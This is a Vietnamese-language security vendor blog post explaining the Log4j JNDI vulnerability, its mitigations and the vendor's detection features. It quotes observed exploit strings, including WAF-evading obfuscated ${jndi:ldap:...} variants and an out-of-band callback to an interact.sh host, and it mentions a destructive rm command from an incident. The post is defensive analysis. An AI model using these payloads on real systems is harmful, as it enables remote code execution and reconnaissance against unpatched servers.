Stellar Cyber: Phát hiện lỗ hổng và khai thác Log4j

Albert Zhichun Li

1. Giới thiệu

Trong vài ngày qua, một lỗ hổng bảo mật nghiêm trọng trong Log4j ( CVE-2021-44228 , CVE-2021-45046 ) đã gần như tạo nên một cơn bão hoàn hảo trong thế giới Internet. Là một tiện ích ghi nhật ký Java được sử dụng rộng rãi với lỗ hổng dễ bị khai thác, Log4j chắc chắn đã khiến các chuyên gia CNTT và các công ty lo lắng và nhiều câu hỏi đã được đặt ra – Lỗ hổng này là gì? Làm thế nào tôi có thể biết liệu hệ thống của chúng tôi có dễ bị tấn công hay không? Cơ sở hạ tầng CNTT của tôi đã bị xâm phạm chưa? Tôi có thể làm gì để ngăn chặn các cuộc tấn công trong tương lai lợi dụng lỗ hổng này?

Tại Stellar Cyber, chúng tôi đã theo dõi chặt chẽ tình hình và chúng tôi ở đây để cung cấp các bài học kinh nghiệm cũng như lời khuyên cho các khách hàng và đối tác hiện tại và tương lai của chúng tôi khi họ vượt qua những bất ổn do lỗ hổng Log4j này mang lại.

2. Tác động và giảm thiểu

Theo CVE-2021-44228 , bất kỳ phiên bản Apache Log4j2 nào trước v2.15.0 đều bị ảnh hưởng bởi lỗ hổng này do việc chèn chuỗi không được kiểm tra kỹ lưỡng khi tra cứu Giao diện Đặt tên và Thư mục Java (JNDI). Kẻ tấn công có kiến ​​thức về cách chèn dữ liệu vào các thông báo nhật ký có thể tạo và chèn một biểu thức chèn JNDI được định dạng đặc biệt để tải và thực thi mã tùy ý từ điểm cuối JNDI được chỉ định (ví dụ: máy chủ LDAP) khi biểu thức chèn được Log4j đánh giá.

Tác động của lỗ hổng này dự kiến ​​sẽ rất rộng lớn do Log4j được sử dụng rộng rãi trong nhiều ứng dụng phần mềm phổ biến và khả năng dễ bị khai thác của nó. Cộng đồng bảo mật đã theo dõi các trang web, phần mềm, các thành phần mã nguồn mở và các nhà sản xuất khác sử dụng Log4j, và xác nhận rằng ngay cả một số công ty thương hiệu lớn cũng dễ bị tổn thương.

Để giảm thiểu lỗ hổng này, chúng tôi khuyên khách hàng và đối tác nên cập nhật Log4j hiện có lên phiên bản 2.15.0, trong đó hành vi liên quan đến JNDI bị vô hiệu hóa theo mặc định. Nếu việc nâng cấp ngay lập tức không khả thi, một biện pháp khắc phục khác là đặt thuộc tính hệ thống log4j2.formatMsgNoLookups thành true (áp dụng cho phiên bản 2.10 trở lên) hoặc xóa lớp JndiLookup khỏi classpath (áp dụng cho Log4j trước phiên bản 2.10 thông qua lệnh zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class ).

Ngoài ra, chúng tôi khuyên khách hàng và đối tác của chúng tôi nên cập nhật Java hiện tại của họ lên ít nhất phiên bản 6u211, 7u201, 8u191 hoặc 11.0.1 trong đó tính năng tải lớp từ xa JNDI bị tắt theo mặc định.

Đối với các ứng dụng phần mềm cụ thể sử dụng Log4j và bị ảnh hưởng bởi lỗ hổng này, vui lòng liên hệ với nhà cung cấp phần mềm để áp dụng bất kỳ bản vá lỗi thích hợp nào càng sớm càng tốt.

3. Chi tiết kỹ thuật

Trong CVE-2021-44228 , có hai phần thiết yếu và quan trọng cấu thành nên lỗ hổng: Giao diện đặt tên và thư mục Java (JNDI) với chức năng gọi phương thức từ xa, và sự hỗ trợ của Log4j cho việc nội suy nhật ký với tra cứu JNDI.

Giao diện đặt tên và thư mục Java (JNDI, Hình 1) là một tính năng cổ xưa nhưng vẫn hữu ích, có từ Java 2 phiên bản 1.3. Nó cung cấp chức năng đặt tên và thư mục cho các ứng dụng Java, do đó một ứng dụng có thể gọi thông qua JNDI nhiều nhà cung cấp dịch vụ khác nhau như Giao thức truy cập thư mục nhẹ (LDAP). Ví dụ, một ứng dụng Java có thể truyền URL ldap://some-ldap-server:389/o=SomeObjectID thông qua JNDI đến máy chủ LDAP được hỗ trợ some-ldap-server để tìm và gọi một đối tượng từ xa SomeObject.

Hình 1. Kiến trúc đặt tên và giao diện thư mục Java (JNDI)
(https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html)

trên Log4j bên, hỗ trợ tra cứu JNDI lần đầu tiên được giới thiệu trong v2.0 vào năm 2013 theo yêu cầu của người dùng về các tính năng ghi nhật ký phức tạp. Kể từ đó, Log4j đã cho phép các nhà phát triển sử dụng nội suy chuỗi với JNDI trong các thông báo nhật ký. Ví dụ, một người có thể viết logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}")Log4j sẽ đánh giá biểu thức nội suy và gọi JNDI tương ứng để truy xuất dữ liệu cấu thành thông điệp nhật ký từ một máy chủ từ xa.

Cuối cùng, tám năm sau, vào ngày 30 tháng 11 năm 2021, nhóm Log4j đã được thông báo về lỗ hổng thực thi mã từ xa do sự kết hợp giữa nội suy nhật ký và tra cứu JNDI. Một tuần sau, gần như tất cả mọi người trong cộng đồng bảo mật và ngành công nghệ thông tin đều được thông báo và bắt đầu hoảng loạn theo nhiều cách khác nhau.

Hậu quả của lỗ hổng này sẽ đặc biệt tồi tệ không chỉ vì Log4j được sử dụng quá rộng rãi, mà còn vì mọi người đã sử dụng Log4j theo cách quá hoàn hảo và quá dễ dàng để những kẻ tấn công khai thác.

Như chúng ta có thể thấy từ ví dụ nói trên về logger.error("${jndi:ldap://some-ldap-server:389/o=SomeObjectID}"), để khai thác thành công lỗ hổng này, kẻ tấn công cần biết loại dữ liệu được tiêm vào cuối cùng sẽ được ghi lại ở đâu đó bởi hệ thống nạn nhân sử dụng Log4j. Trên thực tế, đó là một kết quả thấp đối với bất kỳ kẻ tấn công nào không quen thuộc với các ứng dụng dựa trên mạng hiện đại, trong đó có một phương pháp phổ biến là ghi lại mọi yêu cầu bao gồm URL, chuỗi truy vấn và tác nhân người dùng của nó.

Tại Stellar Cyber, chúng tôi đã theo dõi các nỗ lực khai thác được thực hiện đối với khách hàng và đối tác của chúng tôi trong tuần qua. Phát hiện bất thường tác nhân người dùng được hỗ trợ bởi máy học của chúng tôi đã phát hiện các chuỗi tác nhân người dùng bất thường như:

  • ${jndi:ldap://xxx.xxx.xxx.xxx:2222/lx-ffff82fd0128500008eac5b861000000005a8343}
  • ${jndi:${lower:l}${lower:d}a${lower:p}://xxx.x:80/callback}
  • ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6sg0p8vc25qalcfvemgcghoy4yyyyyjo.interact.sh}

Trong số các mẫu đó, chúng tôi thấy rằng những kẻ tấn công đã và đang điều tra các cách khác nhau để khai thác lỗ hổng - không chỉ bằng cách sử dụng dạng vani mà còn bằng cách đưa ra các biến thể khác nhau để trốn tránh Tường lửa ứng dụng web dựa trên quy tắc cố gắng khớp ${jndi:ldap*.

Mặc dù chưa có trường hợp nào được biết đến về việc kẻ tấn công khai thác lỗ hổng này và gây ra hậu quả nghiêm trọng, nhưng điều đáng chú ý là ngay cả một thao tác thăm dò đơn giản, ví dụ như cố gắng khai thác lỗ hổng bằng DNSLog để kiểm tra xem hệ thống mục tiêu có dễ bị tấn công hay không, vẫn có thể gây thiệt hại vì kẻ tấn công có thể đang thu thập các tài sản tiềm năng trong tương lai.

4. Stellar Cyber ​​có thể trợ giúp như thế nào

Tại Stellar Cyber, chúng tôi cung cấp nhiều công cụ cho khách hàng và đối tác của mình để chống lại các cuộc tấn công khai thác CVE-2021-44228.
Thông qua nhà cung cấp thông tin tình báo về mối đe dọa của chúng tôi, Stellar Cyber ​​Security Sensor (SDS) đã có chữ ký cập nhật để phát hiện các hành vi khai thác điển hình của CVE-2021-44228.

4.1 Cảnh báo sao về phát hiện khai thác

Chúng tôi hiện cung cấp các loại cảnh báo sau để phát hiện chữ ký IDS mới hoặc số lượng chữ ký IDS tăng đột biến:

  • - Sự bất thường về khai thác từ công khai sang tư nhân
  • - Bất thường về khai thác công khai đối với tư nhân
  • - Riêng tư với Khai thác cá nhân Bất thường
  • - Bất thường về Khai thác Công khai

Vui lòng xem các cảnh báo này với "log4j" trong mô tả cảnh báo hoặc ids.signature trường.

4.2 ATH để theo dõi các chữ ký Apache Log4j đã khớp

Nếu bạn muốn theo dõi tất cả các trường hợp chữ ký Apache Log4j phù hợp, bạn có thể cân nhắc việc tạo các quy tắc sau (Thận trọng: nó có thể tạo ra một số lượng lớn các cảnh báo):

  • - Tìm kiếm Sự kiện ML-IDS / Malware Sandbox lập chỉ mục với truy vấn ids.signature: log4j.

4.3 Trinh sát URL và phát hiện bất thường tác nhân người dùng

Với những kẻ tấn công đang khám phá các dạng khai thác khác nhau, tính năng phát hiện bất thường do AI của chúng tôi cung cấp (Hình 2) cũng giúp phát hiện các nỗ lực gián tiếp hoặc bất thường.

Chúng tôi nhận thấy một số nỗ lực gián tiếp từ tính năng Phát hiện bất thường do thám URL với Log4j trong một phần URL để khai thác lỗ hổng bảo mật thông qua các ứng dụng web Java. Những nỗ lực như vậy thường liên quan đến việc kẻ tấn công quét các trang để khai thác, dẫn đến số lượng lỗi HTTP 4xx bất thường, lỗi này có thể được phát hiện bằng tính năng Phát hiện bất thường do thám URL.

Vì chuỗi Tác nhân người dùng là một phương tiện khai thác chính theo quan sát của chúng tôi, Phát hiện bất thường Tác nhân người dùng của chúng tôi cũng là một công cụ hữu ích. Nó phát hiện các chuỗi Tác nhân người dùng chưa từng được nhìn thấy trước đây hoặc rất hiếm khi được nhìn thấy, do đó có thể cung cấp khả năng phòng thủ bổ sung trước xu hướng khai thác đang gia tăng.

Tìm kiếm "log4j" trực tiếp trong tất cả các cảnh báo có thể hợp lý. (Thận trọng: đây là một truy vấn rất tốn kém, vui lòng không thử trên dữ liệu thô có thể dẫn đến quá tải hồ dữ liệu.)

Hình 2. Trinh sát URL và phát hiện bất thường tác nhân người dùng

4.4 Tương quan sự cố

Nỗ lực khai thác CVE-2021-44228 có thể chỉ là một hành động duy nhất dẫn đến một cảnh báo duy nhất từ ​​các phát hiện của chúng tôi. Để điều tra thêm và theo dõi các cuộc tấn công tiềm ẩn đang diễn ra liên quan đến Log4j có thể dễ dàng khai thác, chúng tôi cung cấp tính năng Sự cố bổ sung (Hình 3) để so sánh một tập hợp nhiều cảnh báo tương quan và các thực thể cấu thành một cuộc tấn công thống nhất tiềm ẩn (tức là một sự cố) để có khả năng quản lý và hiển thị bảo mật tốt hơn. Chúng tôi sử dụng khả năng học máy để tự động tạo ra các sự cố, nhóm các cảnh báo liên quan thành một sự cố thống nhất để cải thiện giải pháp tấn công.

Hình 3. Tương quan sự cố của Stellar Cyber

Như chúng ta có thể thấy trong Hình 4, hiển thị một chế độ xem dòng thời gian chi tiết của một sự cố với CVE-2021-44228 khai thác, Tương quan sự cố của chúng tôi tự động đặt ba cảnh báo có tương quan cao từ ba phát hiện khác nhau được sắp xếp theo thứ tự vào thời điểm chúng xảy ra: đầu tiên là sự bất thường của Tác nhân người dùng trong đó kẻ tấn công cố gắng đưa một chuỗi Tác nhân người dùng độc hại từ 10.11.191.95 đến 10.11.190.88, tiếp theo là một quá trình sinh sản bất thường được phát hiện vào ngày 10.11.190.88 và kết thúc bằng một lệnh bất thường thực hiện một lệnh nguy hiểm xargs -r -0 rm -f.

Hình 3. Tương quan sự cố của Stellar Cyber

5. Kết luận

Trong bài đăng này, chúng tôi đã chia sẻ những điều chúng tôi làm được về CVE-2021-44228 và đã đưa ra lời khuyên cho các khách hàng và đối tác hiện tại và tương lai của chúng tôi, đồng thời chúng tôi cũng đã chỉ ra cách Stellar Cyber ​​có thể giải cứu trong khoảng thời gian không chắc chắn này. Lời nhắc cuối cùng, hãy nhớ vá và cập nhật bất kỳ phần mềm nào bị ảnh hưởng, bao gồm Log4j (to v2.15.0+) and Java (to at least 6u211, 7u201, 8u191, or 11.0.1).

Di chuyển về đầu trang